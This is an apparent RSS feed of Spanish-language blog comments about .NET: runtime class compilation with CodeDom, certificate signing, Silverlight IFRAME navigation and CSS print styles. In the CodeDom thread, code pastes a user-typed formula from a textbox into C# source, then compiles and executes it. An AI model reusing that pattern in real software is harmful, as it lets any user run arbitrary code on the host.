		<title>Comentario de Cómo crear una clase dinámicamente y ejecutarla por Eduard</title>
		<link>http://www.programandoamedianoche.com/2009/11/crear-una-clase-dinamicamente-y-ejecutarla/comment-page-1/#comment-100</link>
		<dc:creator>Eduard</dc:creator>
		<pubDate>Mon, 30 Nov 2009 14:27:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=755#comment-100</guid>
		<description>Buenas,

estuve peleando la semana pasada con el código, ya que como a Carlos, a mí me generaba el mismo error. Finalmente lo solucioné añadiendo a la colección ReferencedAssemblies del objeto &lt;strong&gt;objParametros&lt;/strong&gt; todas las librerias necesarias ( objParametros.Add(&quot;System.dll&quot;) )

Espero sirva de ayuda,
Gracias</description>
		<content:encoded><![CDATA[<p>Buenas,</p>
<p>estuve peleando la semana pasada con el código, ya que como a Carlos, a mí me generaba el mismo error. Finalmente lo solucioné añadiendo a la colección ReferencedAssemblies del objeto <strong>objParametros</strong> todas las librerias necesarias ( objParametros.Add(&#8220;System.dll&#8221;) )</p>
<p>Espero sirva de ayuda,<br />
Gracias</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por juan</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-99</link>
		<dc:creator>juan</dc:creator>
		<pubDate>Mon, 30 Nov 2009 14:11:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-99</guid>
		<description>Hola, queria saber como levantar una clave privada que se encuentra en un archivo.p12 desde .net? desde ya muchas gracias</description>
		<content:encoded><![CDATA[<p>Hola, queria saber como levantar una clave privada que se encuentra en un archivo.p12 desde .net? desde ya muchas gracias</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Leonardo Quintana</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-98</link>
		<dc:creator>Leonardo Quintana</dc:creator>
		<pubDate>Fri, 27 Nov 2009 22:55:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-98</guid>
		<description>Buenas Tardes

Bueno la solución para que el código pida la clave del certificado digital almacenado en el store es simplemente colocar un false

signedCms.ComputeSignature(cmsSigner, false);

pero ahora tengo otro problema, necesito firmar un archivo extremadamente grande y el código que tenemos hasta el momento solo firma hasta 80 MB con archivos por ejemplo de un archivo de 1 GB no lo puede firmar dado que saca un error de memoria.

si alguien sabe de esto por favor les agradeceria me dieran la solución

cuando tenga el código completo lo pìenso subir... por ahora mi correo es jlqr@hotmail.com por si necesitan algo.. no se mucho pero igual ya tengo funcionando un pedazo de código.. y todo gracias a lo que he visto en esta página y en algunas otras...</description>
		<content:encoded><![CDATA[<p>Buenas Tardes</p>
<p>Bueno la solución para que el código pida la clave del certificado digital almacenado en el store es simplemente colocar un false</p>
<p>signedCms.ComputeSignature(cmsSigner, false);</p>
<p>pero ahora tengo otro problema, necesito firmar un archivo extremadamente grande y el código que tenemos hasta el momento solo firma hasta 80 MB con archivos por ejemplo de un archivo de 1 GB no lo puede firmar dado que saca un error de memoria.</p>
<p>si alguien sabe de esto por favor les agradeceria me dieran la solución</p>
<p>cuando tenga el código completo lo pìenso subir&#8230; por ahora mi correo es <a href="mailto:jlqr@hotmail.com">jlqr@hotmail.com</a> por si necesitan algo.. no se mucho pero igual ya tengo funcionando un pedazo de código.. y todo gracias a lo que he visto en esta página y en algunas otras&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Imaz</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-97</link>
		<dc:creator>Imaz</dc:creator>
		<pubDate>Tue, 24 Nov 2009 08:31:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-97</guid>
		<description>Muchisimas gracias.Ya lo solucione,gracias al HtmlHost.Estoy real,mente agradecido.Mil gracias</description>
		<content:encoded><![CDATA[<p>Muchisimas gracias.Ya lo solucione,gracias al HtmlHost.Estoy real,mente agradecido.Mil gracias</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-96</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Mon, 23 Nov 2009 13:20:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-96</guid>
		<description>Prueba crear el IFRAME dentro del control HtmlHost de DivElements que te comenté en unos mensajes más arriba (&lt;a href=&quot;http://www.divelements.co.uk/silverlight/tools.aspx&quot; rel=&quot;nofollow&quot;&gt;http://www.divelements.co.uk/silverlight/tools.aspx&lt;/a&gt;) para que lo puedas hacer desde el XAML, y luego navegar la página con el método: &lt;code&gt;System.Windows.Browser.HtmlPage.Window.Navigate&lt;/code&gt;.
Cualquier cosa vuelve a escribirnos.
Saludos.</description>
		<content:encoded><![CDATA[<p>Prueba crear el IFRAME dentro del control HtmlHost de DivElements que te comenté en unos mensajes más arriba (<a href="http://www.divelements.co.uk/silverlight/tools.aspx" rel="nofollow">http://www.divelements.co.uk/silverlight/tools.aspx</a>) para que lo puedas hacer desde el XAML, y luego navegar la página con el método: <code>System.Windows.Browser.HtmlPage.Window.Navigate</code>.<br />
Cualquier cosa vuelve a escribirnos.<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Imaz</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-95</link>
		<dc:creator>Imaz</dc:creator>
		<pubDate>Mon, 23 Nov 2009 11:11:30 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-95</guid>
		<description>Hola de nuevo,
Pensaras que soy un pesado, pero si lo que deseo es mostrarlo directamente en el codigo xaml?
Es decir que dentro de MainPage.xaml se muestre la pagina aspx.
Es eso posible? gracias</description>
		<content:encoded><![CDATA[<p>Hola de nuevo,<br />
Pensaras que soy un pesado, pero si lo que deseo es mostrarlo directamente en el codigo xaml?<br />
Es decir que dentro de MainPage.xaml se muestre la pagina aspx.<br />
Es eso posible? gracias</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Cómo crear una clase dinámicamente y ejecutarla por carlos de la barrera</title>
		<link>http://www.programandoamedianoche.com/2009/11/crear-una-clase-dinamicamente-y-ejecutarla/comment-page-1/#comment-94</link>
		<dc:creator>carlos de la barrera</dc:creator>
		<pubDate>Fri, 20 Nov 2009 21:16:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=755#comment-94</guid>
		<description>Hola Gustavo,

He probado el proyecto que me ha enviado y funciona perfectamente, no se que estare haciendo mal con el mío.

Estare escarbando en los códigos y comparando las cosas que ha hecho y que hice.
Muchas Gracias por el Support.

Saludos ooordiales desde Barcelona
Carlos de la Barrera</description>
		<content:encoded><![CDATA[<p>Hola Gustavo,</p>
<p>He probado el proyecto que me ha enviado y funciona perfectamente, no se que estare haciendo mal con el mío.</p>
<p>Estare escarbando en los códigos y comparando las cosas que ha hecho y que hice.<br />
Muchas Gracias por el Support.</p>
<p>Saludos ooordiales desde Barcelona<br />
Carlos de la Barrera</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Cómo crear una clase dinámicamente y ejecutarla por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/11/crear-una-clase-dinamicamente-y-ejecutarla/comment-page-1/#comment-93</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Fri, 20 Nov 2009 20:57:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=755#comment-93</guid>
		<description>Carlos:
    Acabo de probar tu clase con las modificaciones que te comenté y a mi me funciona bien.  Te dejo &lt;a href=&quot;http://www.programandoamedianoche.com/wp-content/uploads/2009/11/ClaseDinamica2.zip&quot; rel=&quot;nofollow&quot;&gt;aquí&lt;/a&gt; el proyecto de ejemplo pero utilizando  tu clase para que lo pruebes.
   Por favor comentame como te fue.
   Saludos.</description>
		<content:encoded><![CDATA[<p>Carlos:<br />
    Acabo de probar tu clase con las modificaciones que te comenté y a mi me funciona bien.  Te dejo <a href="http://www.programandoamedianoche.com/wp-content/uploads/2009/11/ClaseDinamica2.zip" rel="nofollow">aquí</a> el proyecto de ejemplo pero utilizando  tu clase para que lo pruebes.<br />
   Por favor comentame como te fue.<br />
   Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Cómo crear una clase dinámicamente y ejecutarla por carlos de la barrera</title>
		<link>http://www.programandoamedianoche.com/2009/11/crear-una-clase-dinamicamente-y-ejecutarla/comment-page-1/#comment-92</link>
		<dc:creator>carlos de la barrera</dc:creator>
		<pubDate>Fri, 20 Nov 2009 20:48:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=755#comment-92</guid>
		<description>Hola Gustavo,

Lo he probado y el resultado es el mismo.

Saludos
Carlos.</description>
		<content:encoded><![CDATA[<p>Hola Gustavo,</p>
<p>Lo he probado y el resultado es el mismo.</p>
<p>Saludos<br />
Carlos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Cómo crear una clase dinámicamente y ejecutarla por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/11/crear-una-clase-dinamicamente-y-ejecutarla/comment-page-1/#comment-91</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Fri, 20 Nov 2009 20:27:28 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=755#comment-91</guid>
		<description>Carlos:
    El otro punto que veo que, según creo, está erroneo es que la clase a crear dinámicamente es del tipo &quot;static&quot;, por lo cual no se puede instanciar.  Prueba utilizando esta linea (es igual a la tuya pero sin el static) y cuéntame como te fue.

&lt;code&gt;strClase =
    &quot;using System;&quot; +
    &quot;namespace wrappermanagerDyn {&quot; +
        &quot;public class ClassCalculus {&quot; +
            &quot;public object Resolver() {&quot; +
                &quot;return &quot; +
                Formula +
                &quot;;}}}&quot;;&lt;/code&gt;

    Saludos.</description>
		<content:encoded><![CDATA[<p>Carlos:<br />
    El otro punto que veo que, según creo, está erroneo es que la clase a crear dinámicamente es del tipo &#8220;static&#8221;, por lo cual no se puede instanciar.  Prueba utilizando esta linea (es igual a la tuya pero sin el static) y cuéntame como te fue.</p>
<p><code>strClase =<br />
    "using System;" +<br />
    "namespace wrappermanagerDyn {" +<br />
        "public class ClassCalculus {" +<br />
            "public object Resolver() {" +<br />
                "return " +<br />
                Formula +<br />
                ";}}}";</code></p>
<p>    Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Cómo crear una clase dinámicamente y ejecutarla por carlos de la barrera</title>
		<link>http://www.programandoamedianoche.com/2009/11/crear-una-clase-dinamicamente-y-ejecutarla/comment-page-1/#comment-90</link>
		<dc:creator>carlos de la barrera</dc:creator>
		<pubDate>Fri, 20 Nov 2009 20:14:47 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=755#comment-90</guid>
		<description>Muchas Gracias por la Respuesta Gustavo,

He cambiado el namespace de la clase linea strClase, ha quedado así.
strClase = &quot;using System;&quot; + &quot;namespace wrappermanagerDyn {&quot; + &quot;public static ClassCalculus {&quot; + &quot;public object Resolver() {&quot; + &quot;return &quot; + Formula + &quot;;}}}&quot;

También he cambiado el namespace en la linea del CreateInstance, ha quedado así.
object objClase = objResultados.CompiledAssembly.CreateInstance(&quot;wrappermanagerDyn.ClassCalculus&quot;, false, BindingFlags.CreateInstance, null, null, null, null);

y aparece el error nuevamente. El error se produce en tiempo de ejecución. y señala la linea,
object objectClase = ...

Estoy instanciando está clase desde otra, la cual toma la formula desde un textbox.

Muchas Gracias por su ayuda.
saludos
Carlos de la Barrera.</description>
		<content:encoded><![CDATA[<p>Muchas Gracias por la Respuesta Gustavo,</p>
<p>He cambiado el namespace de la clase linea strClase, ha quedado así.<br />
strClase = &#8220;using System;&#8221; + &#8220;namespace wrappermanagerDyn {&#8221; + &#8220;public static ClassCalculus {&#8221; + &#8220;public object Resolver() {&#8221; + &#8220;return &#8221; + Formula + &#8220;;}}}&#8221;</p>
<p>También he cambiado el namespace en la linea del CreateInstance, ha quedado así.<br />
object objClase = objResultados.CompiledAssembly.CreateInstance(&#8220;wrappermanagerDyn.ClassCalculus&#8221;, false, BindingFlags.CreateInstance, null, null, null, null);</p>
<p>y aparece el error nuevamente. El error se produce en tiempo de ejecución. y señala la linea,<br />
object objectClase = &#8230;</p>
<p>Estoy instanciando está clase desde otra, la cual toma la formula desde un textbox.</p>
<p>Muchas Gracias por su ayuda.<br />
saludos<br />
Carlos de la Barrera.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Cómo crear una clase dinámicamente y ejecutarla por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/11/crear-una-clase-dinamicamente-y-ejecutarla/comment-page-1/#comment-89</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Fri, 20 Nov 2009 19:50:03 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=755#comment-89</guid>
		<description>Carlos:
    Creo que el problema está en que tanto la clase precompilada (ClassCalculus) como la que compilas en tiempo de ejecución tienen el mismo nombre de namespace, clase y método, por lo tanto el CLR no sabe que ensamblado utilizar.  Prueba cambiando el namespace de la clase a crear, por ejemplo, por &quot;wrappermanagerDyn&quot; tanto en el string (strClase) como al momento de crear la instancia con el método CreateInstance.
    Por favor cuéntame si funcionó.
    Saludos.</description>
		<content:encoded><![CDATA[<p>Carlos:<br />
    Creo que el problema está en que tanto la clase precompilada (ClassCalculus) como la que compilas en tiempo de ejecución tienen el mismo nombre de namespace, clase y método, por lo tanto el CLR no sabe que ensamblado utilizar.  Prueba cambiando el namespace de la clase a crear, por ejemplo, por &#8220;wrappermanagerDyn&#8221; tanto en el string (strClase) como al momento de crear la instancia con el método CreateInstance.<br />
    Por favor cuéntame si funcionó.<br />
    Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-88</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Fri, 20 Nov 2009 19:13:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-88</guid>
		<description>Imaz:
    Para hacer que desde Silverlight navegue una página en un IFRAME deberías crearlo en el HTML con un nombre, por ejemplo:

&lt;code&gt;&lt;IFRAME name=&quot;NombreDelIFrame&quot;&gt;&lt;/IFRAME&gt;&lt;/code&gt;

y luego, desde Silverlight, invocar la siguiente linea (obviamente cambiando la URL a navegar):

&lt;code&gt;System.Windows.Browser.HtmlPage.Window.Navigate(&quot;http://www.scientia.com.ar&quot;, &quot;NombreDelIFrame&quot;);&lt;/code&gt;

    Si con esto aún no te funciona tu proyecto te invitio a nuestro foro (&lt;a href=&quot;http://foro.scientia.com.ar&quot; rel=&quot;nofollow&quot;&gt;http://foro.scientia.com.ar&lt;/a&gt;) donde podrás ingresar tu consulta y, si puedes, subir la parte de tu proyecto que no funciona, para que podamos mirarlo y ayudarte.
    Saludos.</description>
		<content:encoded><![CDATA[<p>Imaz:<br />
    Para hacer que desde Silverlight navegue una página en un IFRAME deberías crearlo en el HTML con un nombre, por ejemplo:</p>
<p><code>&lt;IFRAME name="NombreDelIFrame"&gt;&lt;/IFRAME&gt;</code></p>
<p>y luego, desde Silverlight, invocar la siguiente linea (obviamente cambiando la URL a navegar):</p>
<p><code>System.Windows.Browser.HtmlPage.Window.Navigate("http://www.scientia.com.ar", "NombreDelIFrame");</code></p>
<p>    Si con esto aún no te funciona tu proyecto te invitio a nuestro foro (<a href="http://foro.scientia.com.ar" rel="nofollow">http://foro.scientia.com.ar</a>) donde podrás ingresar tu consulta y, si puedes, subir la parte de tu proyecto que no funciona, para que podamos mirarlo y ayudarte.<br />
    Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Cómo crear una clase dinámicamente y ejecutarla por carlos de la barrera</title>
		<link>http://www.programandoamedianoche.com/2009/11/crear-una-clase-dinamicamente-y-ejecutarla/comment-page-1/#comment-87</link>
		<dc:creator>carlos de la barrera</dc:creator>
		<pubDate>Fri, 20 Nov 2009 15:35:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=755#comment-87</guid>
		<description>Estimado Gustavo,

Hoy he estado trabajando con su código y básicamente he creado la clase en el namespace de mi proyecto y pegado sú codigo pero me sale una excepción, seguro que estoy haciendo algo mal.

la excepcion que me aparece es la siguiente : No se puede cargar el archivo o ensamblado &#039;file:///C:\Users\Carlos\AppData\Local\Temp\rctk1y4p.dll&#039; ni una de sus dependencias. El sistema no puede encontrar el archivo especificado.

Este es el código de la clase, estoy trabajando en VS2008: Espero no molestarlo.
muchas gracias
saludos
Carlos de la B.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.CodeDom.Compiler;
using System.Reflection;

namespace wrappermanager
{
    public static class ClassCalculus
    {
        //codigo por: Gustavo Cantero
        //http://www.programandoamedianoche.com

        public static object Resolver(string Formula)
        {
            //Parámetros del compilador
            CompilerParameters objParametros = new CompilerParameters()
            {
                GenerateInMemory = true,
                GenerateExecutable = false,
                IncludeDebugInformation = false
            };

            //Clase
            string strClase = &quot;&quot;;
            strClase = &quot;using System;&quot; + &quot;namespace wrappermanager {&quot; + &quot;public class ClassCalculus {&quot; + &quot;public object Resolver() {&quot; + &quot;return &quot; + Formula + &quot;;}}}&quot;;

            //Compilo todo y ejecuto el método
            CodeDomProvider objCompiler = CodeDomProvider.CreateProvider(&quot;CSharp&quot;);

            CompilerResults objResultados = objCompiler.CompileAssemblyFromSource(objParametros, strClase);
            object objClase = objResultados.CompiledAssembly.CreateInstance(&quot;wrappermanager.Formula&quot;, false, BindingFlags.CreateInstance, null, null, null, null);
            
            return objClase.GetType().InvokeMember(&quot;Resolver&quot;, BindingFlags.InvokeMethod, null, objClase, null);
        }
    }
}</description>
		<content:encoded><![CDATA[<p>Estimado Gustavo,</p>
<p>Hoy he estado trabajando con su código y básicamente he creado la clase en el namespace de mi proyecto y pegado sú codigo pero me sale una excepción, seguro que estoy haciendo algo mal.</p>
<p>la excepcion que me aparece es la siguiente : No se puede cargar el archivo o ensamblado &#8216;file:///C:\Users\Carlos\AppData\Local\Temp\rctk1y4p.dll&#8217; ni una de sus dependencias. El sistema no puede encontrar el archivo especificado.</p>
<p>Este es el código de la clase, estoy trabajando en VS2008: Espero no molestarlo.<br />
muchas gracias<br />
saludos<br />
Carlos de la B.</p>
<p>using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
using System.CodeDom.Compiler;<br />
using System.Reflection;</p>
<p>namespace wrappermanager<br />
{<br />
    public static class ClassCalculus<br />
    {<br />
        //codigo por: Gustavo Cantero<br />
        //http://www.programandoamedianoche.com</p>
<p>        public static object Resolver(string Formula)<br />
        {<br />
            //Parámetros del compilador<br />
            CompilerParameters objParametros = new CompilerParameters()<br />
            {<br />
                GenerateInMemory = true,<br />
                GenerateExecutable = false,<br />
                IncludeDebugInformation = false<br />
            };</p>
<p>            //Clase<br />
            string strClase = &#8220;&#8221;;<br />
            strClase = &#8220;using System;&#8221; + &#8220;namespace wrappermanager {&#8221; + &#8220;public class ClassCalculus {&#8221; + &#8220;public object Resolver() {&#8221; + &#8220;return &#8221; + Formula + &#8220;;}}}&#8221;;</p>
<p>            //Compilo todo y ejecuto el método<br />
            CodeDomProvider objCompiler = CodeDomProvider.CreateProvider(&#8220;CSharp&#8221;);</p>
<p>            CompilerResults objResultados = objCompiler.CompileAssemblyFromSource(objParametros, strClase);<br />
            object objClase = objResultados.CompiledAssembly.CreateInstance(&#8220;wrappermanager.Formula&#8221;, false, BindingFlags.CreateInstance, null, null, null, null);</p>
<p>            return objClase.GetType().InvokeMember(&#8220;Resolver&#8221;, BindingFlags.InvokeMethod, null, objClase, null);<br />
        }<br />
    }<br />
}</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Imaz</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-86</link>
		<dc:creator>Imaz</dc:creator>
		<pubDate>Fri, 20 Nov 2009 09:26:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-86</guid>
		<description>Hola Gustavo, Gracias por el aporte. Creo que el iFrame es lo que busco. Pero estoy trabajando con controles telerik y no se si es que no me entero(soy nuevo en esto del silverlight) o es que estoy haciendo algo mal.uso el iframe.Navigate y me dice que la ruta no es correcta, quehe de usar una ruta rekativa, pero no doy con ella.Tengo en una misma solucion dos `proyectos, uno de silverlight y el de vb.como pongo la ruta para que de la parte silverlight me muestre un aspx de la parte de vb?.Muchas gracias por la ayuda y espero no molestar. Un saludo</description>
		<content:encoded><![CDATA[<p>Hola Gustavo, Gracias por el aporte. Creo que el iFrame es lo que busco. Pero estoy trabajando con controles telerik y no se si es que no me entero(soy nuevo en esto del silverlight) o es que estoy haciendo algo mal.uso el iframe.Navigate y me dice que la ruta no es correcta, quehe de usar una ruta rekativa, pero no doy con ella.Tengo en una misma solucion dos `proyectos, uno de silverlight y el de vb.como pongo la ruta para que de la parte silverlight me muestre un aspx de la parte de vb?.Muchas gracias por la ayuda y espero no molestar. Un saludo</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-85</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Thu, 19 Nov 2009 14:13:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-85</guid>
		<description>Imaz: No puedes abrir una página html dentro de Silverlight, pero puedes crear un IFRAME &quot;sobre&quot; el silverlght y navegar ahí tus páginas.  Una buena implementación para hacer esto de manera más sencilla es el control HtmlHost de divelements, donde podrias crear un IFRAME y hacer que ahí dentro se carguen tus páginas.
Suerte!</description>
		<content:encoded><![CDATA[<p>Imaz: No puedes abrir una página html dentro de Silverlight, pero puedes crear un IFRAME &#8220;sobre&#8221; el silverlght y navegar ahí tus páginas.  Una buena implementación para hacer esto de manera más sencilla es el control HtmlHost de divelements, donde podrias crear un IFRAME y hacer que ahí dentro se carguen tus páginas.<br />
Suerte!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Imaz</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-84</link>
		<dc:creator>Imaz</dc:creator>
		<pubDate>Thu, 19 Nov 2009 11:29:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-84</guid>
		<description>Buenas.
Me gustaria preguntar en relacion a este tema, una cosita.
System.Windows.Browser.HtmlPage.Window.Navigate(Dirección) esto usas para &quot;ir&quot; a otra pagina, pero si quisieramos abrir un webform dentro de un Grid del xaml, como podriamos hacerlo? Tengo un menu, tanto en la parte superior como en un lateral(todo en silverlight) y me gustaria que al pinchar un item del menu, se me abriera  en la misma pantalla un web form. Es esto posible? 
Gracias po la ayuda</description>
		<content:encoded><![CDATA[<p>Buenas.<br />
Me gustaria preguntar en relacion a este tema, una cosita.<br />
System.Windows.Browser.HtmlPage.Window.Navigate(Dirección) esto usas para &#8220;ir&#8221; a otra pagina, pero si quisieramos abrir un webform dentro de un Grid del xaml, como podriamos hacerlo? Tengo un menu, tanto en la parte superior como en un lateral(todo en silverlight) y me gustaria que al pinchar un item del menu, se me abriera  en la misma pantalla un web form. Es esto posible?<br />
Gracias po la ayuda</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-83</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Mon, 16 Nov 2009 19:13:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-83</guid>
		<description>Leonardo, te pido mil disculpas por la demora en la respuesta.
Sobre tu problema, imagino que el problema no está en el certificado que necesitas validar sino en alguno de la cadena de certificación, por ejemplo, el que se utiliza como entidad certificadora de éste.
Espero que puedas resolver el inconveniente, sino te invito a nuestro foro http://foro.scientia.com.ar donde intentaremos ayudarte lo más rápido posible.
Saludos y suerte.</description>
		<content:encoded><![CDATA[<p>Leonardo, te pido mil disculpas por la demora en la respuesta.<br />
Sobre tu problema, imagino que el problema no está en el certificado que necesitas validar sino en alguno de la cadena de certificación, por ejemplo, el que se utiliza como entidad certificadora de éste.<br />
Espero que puedas resolver el inconveniente, sino te invito a nuestro foro <a href="http://foro.scientia.com.ar" rel="nofollow">http://foro.scientia.com.ar</a> donde intentaremos ayudarte lo más rápido posible.<br />
Saludos y suerte.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Cómo crear una clase dinámicamente y ejecutarla por Gerson</title>
		<link>http://www.programandoamedianoche.com/2009/11/crear-una-clase-dinamicamente-y-ejecutarla/comment-page-1/#comment-82</link>
		<dc:creator>Gerson</dc:creator>
		<pubDate>Mon, 16 Nov 2009 01:40:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=755#comment-82</guid>
		<description>Coño que cosa tan complicada carajo!</description>
		<content:encoded><![CDATA[<p>Coño que cosa tan complicada carajo!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Autenticación por formularios en ASP.NET por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/10/autenticacion-por-formularios-en-asp-net/comment-page-1/#comment-81</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Mon, 09 Nov 2009 18:14:46 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=666#comment-81</guid>
		<description>Epiffanio:
    Para elegir que imprimir y que no de una página web puedes utilizar estilos, la clave es crear estilos distintos para lo que no quieras imprimir.  Por ejemplo, supongamos que tenemos una página con un cuadro de texto y un botón, y sólo quieres que se imprima el cuadro de texto:

&lt;code&gt;&lt;INPUT TYPE=&quot;text&quot; name=&quot;texto&quot; value=&quot;Prueba&quot; /&gt;
&lt;INPUT TYPE=&quot;submit&quot; value=&quot;enviar&quot;/&gt;&lt;/code&gt;

    Para que el segundo control no se imprima puedes crear un estilo dentro del medio &quot;print&quot;, para que sólo se aplique al imprimir:

&lt;code&gt;@media print
{
    .noPrint
    {
        display: none;
    }
}

BODY
{
    overflow: hidden;
.....&lt;/code&gt;

Entonces, nuestro código HTML quedaría así:

&lt;code&gt;&lt;INPUT TYPE=&quot;text&quot; name=&quot;texto&quot; value=&quot;Prueba&quot; /&gt;
&lt;INPUT TYPE=&quot;submit&quot; value=&quot;enviar&quot; class=&quot;noPrint&quot; /&gt;&lt;/code&gt;

Si te fijas en el botón verás que le apliqué el estilo &quot;noPrint&quot; que, en el medio &quot;Print&quot;, hace que no se vea.  Ten en cuenta que si quieres aplicar varios estilos a un mismo control puedes hacerlo separando los nombres con espacios, por ejemplo: &#039;class=&quot;noPrint botonAzul&quot;&#039;.
Espero que se entienda la explicación, cualquier otra duda te invito a nuestro foro donde intentaremos responderte a la brevedad: &lt;a href=&quot;http://foro.scientia.com.ar&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;http://foro.scientia.com.ar&lt;/a&gt;.
Suerte!</description>
		<content:encoded><![CDATA[<p>Epiffanio:<br />
    Para elegir que imprimir y que no de una página web puedes utilizar estilos, la clave es crear estilos distintos para lo que no quieras imprimir.  Por ejemplo, supongamos que tenemos una página con un cuadro de texto y un botón, y sólo quieres que se imprima el cuadro de texto:</p>
<p><code>&lt;INPUT TYPE="text" name="texto" value="Prueba" /&gt;<br />
&lt;INPUT TYPE="submit" value="enviar"/&gt;</code></p>
<p>    Para que el segundo control no se imprima puedes crear un estilo dentro del medio &#8220;print&#8221;, para que sólo se aplique al imprimir:</p>
<p><code>@media print<br />
{<br />
    .noPrint<br />
    {<br />
        display: none;<br />
    }<br />
}</p>
<p>BODY<br />
{<br />
    overflow: hidden;<br />
.....</code></p>
<p>Entonces, nuestro código HTML quedaría así:</p>
